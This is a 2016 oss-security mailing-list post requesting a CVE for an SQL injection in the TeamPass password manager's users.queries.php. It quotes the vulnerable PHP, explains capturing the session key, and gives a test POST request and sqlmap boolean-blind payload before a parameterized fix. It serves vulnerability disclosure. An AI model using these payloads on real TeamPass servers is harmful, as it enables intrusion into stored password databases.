[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Date: Thu, 14 Apr 2016 12:08:26 +0800
From: das das <scusec2010@...il.com>
To: oss-security@...ts.openwall.com
Subject: CVE request:SQL injection in TeamPass
Hello again,
I sent you an email two days ago,which was misformatted.Now I resend
it from a gmail account.Hope this time it displays normally.
I'd like to request a CVE-ID for the vulnerability found in
TeamPass-2.1.24 and TeamPass-2.1.25. TeamPass is a Passwords Manager
dedicated for managing passwords in a collaborative way on any server
Apache, MySQL and PHP.
Here is the issue,
========================================
SQL injection vectors in sources/users.queries.php
========================================
-------------------------code_start TeamPass-2.1.24-------------------------
if (!checkUser($_SESSION['user_id'], $_SESSION['key'], "manage_users")) {
$_SESSION['error']['code'] = ERR_NOT_ALLOWED; //not allowed page
include $_SESSION['settings']['cpassman_dir'].'/error.php';
exit();
}
........
/**
* UPDATE MANAGER RIGHTS FOR USER
*/
case "gestionnaire":
// Check KEY
if ($_POST['key'] != $_SESSION['key']) {
// error
exit();
}
DB::update(
prefix_table("users"),
array(
'gestionnaire' => $_POST['value']
),
"id = ".$_POST['id']
);
break;
-------------------------code_end TeamPass-2.1.24--------------------------
-------------------------code_start TeamPass-2.1.25-------------------------
if (!checkUser($_SESSION['user_id'], $_SESSION['key'], "manage_users")) {
$_SESSION['error']['code'] = ERR_NOT_ALLOWED; //not allowed page
include $_SESSION['settings']['cpassman_dir'].'/error.php';
exit();
}
........
/**
* UPDATE MANAGER RIGHTS FOR USER
*/
case "gestionnaire":
// Check KEY
if ($_POST['key'] != $_SESSION['key']) {
// error
exit();
}
DB::update(
prefix_table("users"),
array(
'gestionnaire' => $_POST['value'],
'admin' => $_POST['value'] == 1 ? "0" : "1",
'read_only' => $_POST['value'] == 1 ? "0" : "1"
),
"id = ".$_POST['id']
);
echo prepareExchangedData(array("error" => ""), "encode");
break;
-------------------------code_end TeamPass-2.1.25--------------------------
When the post parameter 'type' = 'gestionnaire', the function 'update
manager rights for user' will be excuted. it checks the user's role in
the beginning, and needs the authority of manage_user to access to
this page
The SQL injection happens in ---code_start--- "id = ".$_POST['id']
---code_end---, the post parameter 'id' is not properly handled.
To execute the SQL query,it verifies that if the the post parameter
'key' equals session['key'].We can get the key through this
way：refresh the page(e.g index.php?page=manage_main), capture the
packet using tools (e.g Burp Suit), and forward the packet,then we can
get the value of session 'key' in the request body.
e.p
http://localhost/teampass/sources/users.queries.php
POST:
type=gestionnaire&key=AfVvIafUhSpWwzTnRM9LWEFxrX3gLmK4xoQ4dDDrsPM8.TpnCr&value=0&id=1'
Sqlmap payload:
sqlmap identified the following injection point(s) with a total of 43
HTTP(s) requests:
---
Parameter: id (POST)
Type: boolean-based blind
Title: MySQL >= 5.0 boolean-based blind - Parameter replace
Payload: type=gestionnaire&key=8ILEoZI08Lkquj5gonpx425wD46ANdkTiIIAJmGVHJhM6S9BaJ&&value=1&id=(SELECT
(CASE WHEN (6429=6429) THEN 6429 ELSE 6429*(SELECT 6429 FROM
INFORMATION_SCHEMA.CHARACTER_SETS) END))
Vector: (SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE
[RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS)
END))
---
To fix it,
---code_start---
DB::update(
prefix_table("users"),
array(
'gestionnaire' => $_POST['value'],
'admin' => $_POST['value'] == 1 ? "0" : "1",
'read_only' => $_POST['value'] == 1 ? "0" : "1"
),
"id = %i",
$_POST['id']
);
---code_end---
This issue was discovered by Mereme[D.A.S] of Information Security
Institute @ Sichuan University.
Thank you for your time and guidance!
Powered by blists - more mailing lists
Please check out the
Open Source Software Security Wiki, which is counterpart to this
mailing list.
Confused about mailing lists and their use?
Read about mailing lists on Wikipedia
and check out these
guidelines on proper formatting of your messages.
